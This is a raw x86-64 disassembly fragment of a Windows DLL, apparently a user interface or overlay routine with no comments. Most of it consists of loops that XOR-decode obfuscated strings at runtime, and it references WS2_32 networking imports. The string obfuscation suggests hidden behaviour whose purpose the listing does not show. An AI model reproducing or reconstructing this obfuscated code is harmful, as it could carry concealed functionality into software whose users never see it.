call rbx
mov rcx, rdi
mov rbx, qword [0x180240108]
mov rax, qword [0x18023fee8]
cmp qword [rdi + 0xd0], rsi
je 0x18009f250
call rax
mov rcx, rax
call rbx
mov r8, qword [0x18023d4d0]
mov r9b, 1
mov rdx, rdi
mov byte [rsp + 0x20], sil
mov rcx, r14
call fcn.1800dc680
mov rax, qword [0x18023fee8]
mov rcx, rdi
mov rbx, qword [0x180240128]
call rax
mov rcx, rax
movaps xmm3, xmm7
xor r8d, r8d
mov edx, 6
call rbx
mov r8, qword [0x18023d4d0]
mov r9b, 1
mov rdx, rdi
mov byte [rsp + 0x20], 1
mov rcx, r14
call fcn.1800dc680
jmp 0x18009f27a
call rax
mov rcx, rax
call rbx
mov rax, qword [0x18023fee8]
mov rcx, rdi
mov rbx, qword [0x180240128]
call rax
mov rcx, rax
movaps xmm3, xmm7
xor r8d, r8d
mov edx, 6
call rbx
call fcn.180016870
addss xmm0, xmm15
call fcn.180025690
lea rcx, [rbp + 0xb88]
call fcn.180016730
cmp byte [reloc.WS2_32.dll_gethostname], sil
movss xmm0, dword [rax]
mov rax, qword [str.wKDYYS_9aZXPXC]
mov qword [rbp + 0xb98], rax
movss dword [rbp + 0xb90], xmm0
mov dword [rbp + 0xb94], 0x42200000
je 0x18009f3f0
cmp r12d, 2
jl 0x18009f3aa
movd eax, xmm9
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
movdqa xmm2, xmm6
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0xb98]
pmulld xmm0, xmm12
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm13
xorps xmm2, xmm1
punpckhdq xmm0, xmm13
movd dword [rbp + 0xb98], xmm2
movdqa xmm1, xmm13
pmuldq xmm0, xmm14
movdqa xmm2, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0xb9c]
pmulld xmm0, xmm12
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0xb9c], xmm2
jmp 0x18009f3f0
lea r9, [rbp + 0xb98]
mov r8d, esi
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 8
jl 0x18009f3c0
lea rdx, [rbp + 0xb90]
lea rcx, [rbp + 0xb98]
call fcn.180002b60
test al, al
je 0x18009f472
cmp qword [0x18023d4d0], rsi
je 0x18009f472
mov rax, qword [0x18023ff68]
mov rcx, qword [rax]
mov eax, dword [0x18023d95c]
shl eax, 4
mov rdx, qword [rcx + 0x10]
movsxd rcx, eax
mov rax, qword [rdx + 0x180]
mov rdi, qword [rcx + rax]
test rdi, rdi
je 0x18009f472
mov rax, qword [0x18023fee8]
mov rcx, rdi
mov rbx, qword [0x180240108]
call rax
mov rcx, rax
call rbx
mov rax, qword [0x18023fee8]
mov rcx, rdi
mov rbx, qword [0x1802400f0]
call rax
mov rcx, rax
xor r8d, r8d
mov edx, 1
call rbx
call fcn.180016870
addss xmm0, xmm15
call fcn.180025690
lea rcx, [rbp + 0xba0]
call fcn.180016730
mov r8d, esi
movss xmm0, dword [rax]
mov eax, dword [0x1801b82a8]
mov dword [rbp + 0x1bf8], eax
movzx eax, word [0x1801b82ac]
mov word [rbp + 0x1bfc], ax
movzx eax, byte [0x1801b82ae]
movss dword [rbp + 0xba8], xmm0
movsd xmm0, qword [0x1801b82a0]
mov byte [rbp + 0x1bfe], al
mov dword [rbp + 0xbac], 0x42200000
movsd qword [rbp + 0x1bf0], xmm0
cmp r12d, 2
jl 0x18009f5c5
movd eax, xmm9
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
movdqa xmm2, xmm13
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm12
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm11
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801b82a0]
xorps xmm1, xmm0
movdqa xmm0, xmm13
movd dword [rbp + 0x1bf0], xmm1
movdqa xmm1, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm14
punpckldq xmm1, xmm13
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1bf4]
pmulld xmm0, xmm12
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1bf4], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1bf0]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xf
jl 0x18009f5e0
lea rdx, [rbp + 0xba8]
lea rcx, [rbp + 0x1bf0]
call fcn.180002b60
test al, al
je 0x18009f68f
cmp qword [0x18023d4d0], rsi
je 0x18009f68f
mov rax, qword [0x18023ff68]
mov rcx, qword [rax]
mov eax, dword [0x18023d95c]
shl eax, 4
mov rdx, qword [rcx + 0x10]
movsxd rcx, eax
mov rax, qword [rdx + 0x180]
mov rdi, qword [rcx + rax]
test rdi, rdi
je 0x18009f68f
mov rax, qword [0x18023fee8]
mov rcx, rdi
mov rbx, qword [0x180240108]
call rax
mov rcx, rax
call rbx
mov rax, qword [0x18023fee8]
mov rcx, rdi
mov rbx, qword [0x1802400f0]
call rax
mov rcx, rax
xor r8d, r8d
xor edx, edx
call rbx
call fcn.180016870
addss xmm0, xmm15
call fcn.180025690
lea rcx, [rbp + 0xbb0]
call fcn.180016730
cmp byte [0x1801b82bb], sil
movss xmm0, dword [rax]
mov eax, dword [0x1801b82b8]
movss dword [rbp + 0xbb8], xmm0
movsd xmm0, qword [0x1801b82b0]
movsd qword [rbp + 0x1640], xmm0
mov dword [rbp + 0xbbc], 0x42200000
mov dword [rbp + 0x1648], eax
je 0x18009f820
mov r8d, esi
cmp r12d, 2
jl 0x18009f7d4
movd eax, xmm9
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
movdqa xmm2, xmm13
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm12
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm11
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801b82b0]
xorps xmm1, xmm0
movdqa xmm0, xmm13
movd dword [rbp + 0x1640], xmm1
movdqa xmm1, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm14
punpckldq xmm1, xmm13
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1644]
pmulld xmm0, xmm12
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1644], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1640]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x18009f7f0
lea rdx, [rbp + 0xbb8]
lea rcx, [rbp + 0x1640]
call fcn.180002b60
test al, al
je 0x18009f898
cmp qword [0x18023d4d0], rsi
je 0x18009f898
mov rax, qword [0x18023ff68]
mov rcx, qword [rax]
mov eax, dword [0x18023d95c]
shl eax, 4
mov rdx, qword [rcx + 0x10]
movsxd rcx, eax
mov rax, qword [rdx + 0x180]
mov rcx, qword [rcx + rax]
test rcx, rcx
je 0x18009f898
mov rax, qword [0x18023fee8]
call rax
mov rdx, qword [0x18023fee8]
mov rbx, rax
mov rcx, qword [0x18023d4d0]
call rdx
mov r8d, 1
mov rdx, rax
mov rcx, rbx
call qword [0x180240110]
call fcn.180016870
addss xmm0, xmm15
call fcn.180025690
mov r8, qword [rbp + 0x2ec8]
cmp r8, 0xf
jbe 0x18009f8c7
mov rdx, qword [rbp + 0x2eb0]
lea rcx, [rbp + 0x2eb0]
call fcn.1800709e0
movdqa xmm0, xmmword [0x1801bab50]
movdqu xmmword [rbp + 0x2ec0], xmm0
mov byte [rbp + 0x2eb0], sil
call fcn.180006b10
call fcn.180013c40
movdqa xmm8, xmmword [0x1801bab60]
jmp 0x18009f920
movdqa xmm9, xmmword [rbp + 0x1de0]
movss xmm15, dword [0x1801a17d4]
movdqa xmm13, xmmword [0x1801bab70]
movdqa xmm12, xmmword [0x1801bab80]
movdqa xmm11, xmmword [0x1801babe0]
cmp dword [0x1802402a0], 4
jne 0x1800a5a08
cmp dword [0x1802402a4], esi
jne 0x1800a2c0f
movss xmm0, dword [0x180240268]
lea rcx, [rbp + 0xbc0]
addss xmm0, dword [0x1801baad8]
mov dword [rbp + 0xbc0], 0x43520000
movss dword [rbp + 0xbc4], xmm0
call fcn.1800255f0
mov eax, dword [0x1801b82bc]
lea rdx, [rbp + 0xbc8]
mov dword [rbp + 0x88], eax
lea rcx, [rbp + 0x88]
movzx eax, byte [0x1801b82c0]
xor r9d, r9d
xor byte [rbp + 0x89], 0x33
xor al, 0x36
xor byte [rbp + 0x8a], 0x34
xor r8d, r8d
xor byte [rbp + 0x8b], 0x35
mov byte [rbp + 0x8c], al
mov dword [rbp + 0xbc8], 0x43a50000
mov dword [rbp + 0xbcc], 0x4405c000
mov byte [rbp + 0x88], Ordinal_79
call fcn.18000fbb0
mov eax, dword [0x1801b82c4]
lea rdx, [rbp + 0xbd0]
mov dword [rbp + 0x90], eax
lea rcx, [rbp + 0x90]
movzx eax, byte [0x1801b82c8]
xor r9d, r9d
xor byte [rbp + 0x91], 0x33
xor al, 0x36
xor byte [rbp + 0x92], 0x34
mov r8b, 1
xor byte [rbp + 0x93], 0x35
mov byte [rbp + 0x94], al
mov dword [rbp + 0xbd0], 0x43a00000
mov dword [rbp + 0xbd4], 0x43ed8000
mov byte [rbp + 0x90], Ordinal_79
call fcn.180003bf0
movzx ecx, word [0x1801b82d8]
lea rdx, [0x18023bf5c]
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
movsd xmm0, qword [str.p__V_VIOO_]
xor al, 0x3c
movsd qword [rbp + 0x11d0], xmm0
xor byte [rbp + 0x11d1], 0x33
xor byte [rbp + 0x11d2], 0x34
xor byte [rbp + 0x11d3], 0x35
xor byte [rbp + 0x11d4], 0x36
xor byte [rbp + 0x11d5], 0x37
xor byte [rbp + 0x11d6], 0x38
xor byte [rbp + 0x11d7], 0x39
mov word [rbp + 0x11d8], cx
xor cl, 0x3a
xor byte [rbp + 0x11d9], 0x3b
mov byte [rbp + 0x11d8], cl
lea rcx, [rbp + 0x11d0]
mov byte [rbp + 0x11d0], 0x42
mov byte [rbp + 0x11da], al
call fcn.1800031c0
cmp byte [0x1801b82e9], sil
movsd xmm0, qword [0x1801b82e0]
movzx eax, word [0x1801b82e8]
movsd qword [rbp + 0xfe0], xmm0
mov word [rbp + 0xfe8], ax
je 0x18009fb24
xor byte [rbp + 0xfe1], 0x33
xor byte [rbp + 0xfe2], 0x34
xor byte [rbp + 0xfe3], 0x35
xor byte [rbp + 0xfe4], 0x36
xor byte [rbp + 0xfe5], 0x37
xor byte [rbp + 0xfe6], 0x38
xor byte [rbp + 0xfe7], 0x39
xor byte [rbp + 0xfe8], 0x3a
xor byte [rbp + 0xfe9], 0x3b
mov byte [rbp + 0xfe0], 0x46
lea rdx, [0x18023bf64]
lea rcx, [rbp + 0xfe0]
call fcn.1800031c0
cmp byte [0x1801b8305], sil
mov eax, dword [0x1801b8300]
movups xmm0, xmmword [str.w__BN]
mov dword [rbp + 0x24d0], eax
movzx eax, word [0x1801b8304]
movups xmmword [rbp + 0x24c0], xmm0
mov word [rbp + 0x24d4], ax
je 0x18009fcc0
mov r8d, esi
cmp r12d, 2
jl 0x18009fc83
movdqa xmmword [rsp + 0x60], xmm9
lea rcx, [rbp + 0x24c4]
mov edx, dword [rsp + 0x60]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm8
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x18009fb90
cmp r8d, 0x16
jge 0x18009fcc0
movsxd rax, r8d
lea r9, [rbp + 0x24c0]
add r9, rax
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x16
jl 0x18009fc90
lea rdx, [0x18023bf58]
lea rcx, [rbp + 0x24c0]
call fcn.1800031c0
cmp byte [0x1801b8311], sil
movsd xmm0, qword [str.qA_FE_YPH_]
movzx eax, word [0x1801b8310]
movsd qword [rbp + 0xff0], xmm0
mov word [rbp + 0xff8], ax
je 0x18009fd40
xor byte [rbp + 0xff1], 0x33
xor byte [rbp + 0xff2], 0x34
xor byte [rbp + 0xff3], 0x35
xor byte [rbp + 0xff4], 0x36
xor byte [rbp + 0xff5], 0x37
xor byte [rbp + 0xff6], 0x38
xor byte [rbp + 0xff7], 0x39
xor byte [rbp + 0xff8], 0x3a
xor byte [rbp + 0xff9], 0x3b
mov byte [rbp + 0xff0], 0x43
lea rdx, [rbp + 0xff0]
lea rcx, [rbp + 0x27c0]
call fcn.180063310
mov rcx, rax
lea r8, [0x18023c178]
lea rdx, [0x18023c175]
call fcn.18006e2b0
cmp byte [0x1801b8321], sil
lea rdx, [0x18023bf5a]
movsd xmm0, qword [str.eR_PDZYKQ_]
lea rcx, [rbp + 0x1000]
movzx eax, word [0x1801b8320]
movsd qword [rbp + 0x1000], xmm0
mov word [rbp + 0x1008], ax
je 0x18009fde4
xor byte [rbp + 0x1001], 0x33
xor byte [rbp + 0x1002], 0x34
xor byte [rbp + 0x1003], 0x35
xor byte [rbp + 0x1004], 0x36
xor byte [rbp + 0x1005], 0x37
xor byte [rbp + 0x1006], 0x38
xor byte [rbp + 0x1007], 0x39
xor byte [rbp + 0x1008], 0x3a
xor byte [rbp + 0x1009], 0x3b
mov byte [rbp + 0x1000], 0x57
call fcn.1800031c0
mov eax, dword [0x1801b8330]
mov r8d, esi
movsd xmm0, qword [0x1801b8328]
movdqa xmm10, xmmword [0x1801bab60]
mov dword [rbp + 0x1c08], eax
movzx eax, word [0x1801b8334]
mov word [rbp + 0x1c0c], ax
movzx eax, byte [0x1801b8336]
mov byte [rbp + 0x1c0e], al
movsd qword [rbp + 0x1c00], xmm0
cmp r12d, 2
jl 0x18009ff19
movd eax, xmm9
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
movdqa xmm2, xmm13
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm10
pmulld xmm0, xmm12
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm11
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801b8328]
xorps xmm1, xmm0
movdqa xmm0, xmm13
movd dword [rbp + 0x1c00], xmm1
movdqa xmm1, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm14
punpckldq xmm1, xmm13
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1c04]
pmulld xmm0, xmm12
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1c04], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1c00]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xf
jl 0x18009ff30
lea rdx, [0x18023c174]
lea rcx, [rbp + 0x1c00]
call fcn.1800031c0
mov rcx, qword [0x18023d3b8]
mov rax, qword [rcx + 0x3f10]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3f10]
lea rcx, [rbp + 0xbd8]
mov rbx, qword [0x18023d3b8]
movss xmm9, dword [rax + 0x100]
movss xmm8, dword [rax + 0x104]
call fcn.180016790
movaps xmm7, xmm8
addss xmm7, dword [0x1801a1830]
movss xmm6, dword [rax]
subss xmm6, dword [rbx + 0x37d8]
addss xmm6, xmm9
call fcn.180016870
addss xmm0, dword [0x1801a17f0]
call fcn.180025690
call fcn.180010470
call fcn.180017980
movzx ecx, byte [reloc.WLDAP32.dll_Ordinal_60]
mov rdi, rax
movsd xmm0, qword [0x1801b8348]
xor cl, 0x3c
movzx edx, word [0x1801b8350]
movsd qword [rbp + 0x11e0], xmm0
movdqa xmm0, xmmword [0x1801bada0]
xor byte [rbp + 0x11e1], 0x33
xor byte [rbp + 0x11e2], 0x34
xor byte [rbp + 0x11e3], 0x35
xor byte [rbp + 0x11e4], 0x36
xor byte [rbp + 0x11e5], 0x37
xor byte [rbp + 0x11e6], 0x38
xor byte [rbp + 0x11e7], 0x39
mov word [rbp + 0x11e8], dx
xor dl, 0x3a
xor byte [rbp + 0x11e9], 0x3b
mov byte [rbp + 0x11ea], cl
lea rcx, [rbp + 0x1d30]
mov byte [rbp + 0x11e0], Ordinal_79
mov byte [rbp + 0x11e8], dl
movups xmmword [rbp + 0x1d30], xmm0
call fcn.180012540
movzx ecx, word [0x1801b8340]
lea r9, [rbp + 0x11f0]
movsd xmm0, qword [0x1801b8338]
mov ebx, eax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
movaps xmm1, xmm9
movsd qword [rbp + 0x11f0], xmm0
xor al, 0x3c
xor byte [rbp + 0x11f1], 0x33
xor byte [rbp + 0x11f2], 0x34
xor byte [rbp + 0x11f3], 0x35
xor byte [rbp + 0x11f4], 0x36
xor byte [rbp + 0x11f5], 0x37
xor byte [rbp + 0x11f6], 0x38
xor byte [rbp + 0x11f7], 0x39
mov word [rbp + 0x11f8], cx
xor cl, 0x3a
xor byte [rbp + 0x11f9], 0x3b
unpcklps xmm6, xmm7
unpcklps xmm1, xmm8
movq r8, xmm6
mov byte [rbp + 0x11f8], cl
movq rdx, xmm1
lea rcx, [rbp + 0xbe0]
mov byte [rbp + 0x11f0], Ordinal_79
mov byte [rbp + 0x11fa], al
call fcn.1800781f0
addss xmm9, dword [0x1801a17f4]
mov qword [rsp + 0x20], rsi
lea r9, [rbp + 0x11e0]
mov r8d, ebx
lea rdx, [rbp + 0xbe8]
movss xmm0, dword [rax + 4]
mov rcx, rdi
movss dword [rbp + 0xbec], xmm0
movss dword [rbp + 0xbe8], xmm9
call fcn.180030f40
call fcn.180016840
addss xmm0, dword [0x1801bab08]
call fcn.180025650
cmp byte [0x1801b8361], sil
movsd xmm0, qword [0x1801b8358]
movzx eax, word [0x1801b8360]
movsd qword [rbp + 0x1010], xmm0
mov word [rbp + 0x1018], ax
je 0x1800a01dc
xor byte [rbp + 0x1011], 0x33
xor byte [rbp + 0x1012], 0x34
xor byte [rbp + 0x1013], 0x35
xor byte [rbp + 0x1014], 0x36
xor byte [rbp + 0x1015], 0x37
xor byte [rbp + 0x1016], 0x38
xor byte [rbp + 0x1017], 0x39
xor byte [rbp + 0x1018], 0x3a
xor byte [rbp + 0x1019], 0x3b
mov byte [rbp + 0x1010], Ordinal_79
mov r8d, 0x2010128
lea rdx, [0x1801ff530]
lea rcx, [rbp + 0x1010]
call fcn.1800046f0
call fcn.180016870
addss xmm0, xmm15
call fcn.180025690
lea rcx, [rbp + 0xbf0]
call fcn.180016730
movdqa xmm6, xmmword [rbp + 0x1de0]
mov r8d, esi
movss xmm0, dword [rax]
mov eax, dword [0x1801b8370]
movss dword [rbp + 0xbf8], xmm0
movsd xmm0, qword [str.bRZU]
mov dword [rbp + 0x16e8], eax
movzx eax, byte [0x1801b8374]
movsd qword [rbp + 0x16e0], xmm0
mov byte [rbp + 0x16ec], al
mov dword [rbp + 0xbfc], 0x42200000
cmp r12d, 2
jl 0x1800a0346
movd eax, xmm6
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
movdqa xmm2, xmm13
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm10
pmulld xmm0, xmm12
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm11
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [str.bRZU]
xorps xmm1, xmm0
movdqa xmm0, xmm13
movd dword [rbp + 0x16e0], xmm1
movdqa xmm1, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm14
punpckldq xmm1, xmm13
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x16e4]
pmulld xmm0, xmm12
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x16e4], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x16e0]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x1800a0360
lea rdx, [rbp + 0xbf8]
lea rcx, [rbp + 0x16e0]
call fcn.180002b60
test al, al
je 0x1800a03b5
mov byte [reloc.WS2_32.dll_accept], sil
mov byte [0x18023bf5b], 1
call fcn.180014680
call fcn.180006b10
call fcn.180013c40
movss xmm0, dword [0x180240268]
lea rcx, [rbp + 0xc00]
movss xmm9, dword [0x1801baad8]
addss xmm0, xmm9
mov dword [rbp + 0xc00], 0x44070000
movss dword [rbp + 0xc04], xmm0
call fcn.1800255f0
movzx ecx, word [0x1801b837c]
lea rdx, [rbp + 0xc08]
mov eax, dword [0x1801b8378]
mov r9d, 8
mov dword [rbp + 0x2b0], eax
xor r8d, r8d
movzx eax, byte [0x1801b837e]
xor byte [rbp + 0x2b1], 0x33
xor al, 0x38
xor byte [rbp + 0x2b2], 0x34
xor byte [rbp + 0x2b3], 0x35
mov word [rbp + 0x2b4], cx
xor cl, 0x36
xor byte [rbp + 0x2b5], 0x37
mov byte [rbp + 0x2b4], cl
lea rcx, [rbp + 0x2b0]
mov dword [rbp + 0xc08], 0x43a00000
mov dword [rbp + 0xc0c], 0x4405c000
mov byte [rbp + 0x2b0], Ordinal_79
mov byte [rbp + 0x2b6], al
call fcn.18000fbb0
lea rcx, [rbp + 0xc10]
call fcn.180016730
mov eax, dword [str.pZZQE7]
lea rdx, [rbp + 0xc18]
mov dword [rbp + 0x140], eax
lea rcx, [rbp + 0x140]
movzx eax, word [0x1801b8384]
xor r9d, r9d
xor byte [rbp + 0x141], 0x33
mov r8b, 1
xor byte [rbp + 0x142], 0x34
xor byte [rbp + 0x143], 0x35
mov word [rbp + 0x144], ax
xor al, 0x36
xor byte [rbp + 0x145], 0x37
mov byte [rbp + 0x144], al
mov dword [rbp + 0xc18], 0x43a00000
mov dword [rbp + 0xc1c], 0x43ed8000
mov byte [rbp + 0x140], 0x42
call fcn.180003bf0
cmp byte [0x1801b8391], sil
movsd xmm0, qword [0x1801b8388]
movzx eax, word [0x1801b8390]
movsd qword [rbp + 0x1020], xmm0
mov word [rbp + 0x1028], ax
je 0x1800a0568
xor byte [rbp + 0x1021], 0x33
xor byte [rbp + 0x1022], 0x34
xor byte [rbp + 0x1023], 0x35
xor byte [rbp + 0x1024], 0x36
xor byte [rbp + 0x1025], 0x37
xor byte [rbp + 0x1026], 0x38
xor byte [rbp + 0x1027], 0x39
xor byte [rbp + 0x1028], 0x3a
xor byte [rbp + 0x1029], 0x3b
mov byte [rbp + 0x1020], Ordinal_79
lea rdx, [0x18023c260]
lea rcx, [rbp + 0x1020]
call fcn.180007270
movss xmm7, dword [0x1801a17c4]
movaps xmm0, xmm7
call fcn.180008960
cmp byte [0x1801b83a3], sil
movsd xmm0, qword [str.sZYWYC]
mov eax, dword [0x1801b83a0]
movsd qword [rbp + 0x1650], xmm0
mov dword [rbp + 0x1658], eax
je 0x1800a06e0
mov r8d, esi
cmp r12d, 2
jl 0x1800a06a3
movd eax, xmm6
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
movdqa xmm2, xmm13
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm10
pmulld xmm0, xmm12
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm11
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [str.sZYWYC]
xorps xmm1, xmm0
movdqa xmm0, xmm13
movd dword [rbp + 0x1650], xmm1
movdqa xmm1, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm14
punpckldq xmm1, xmm13
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1654]
pmulld xmm0, xmm12
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1654], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1650]
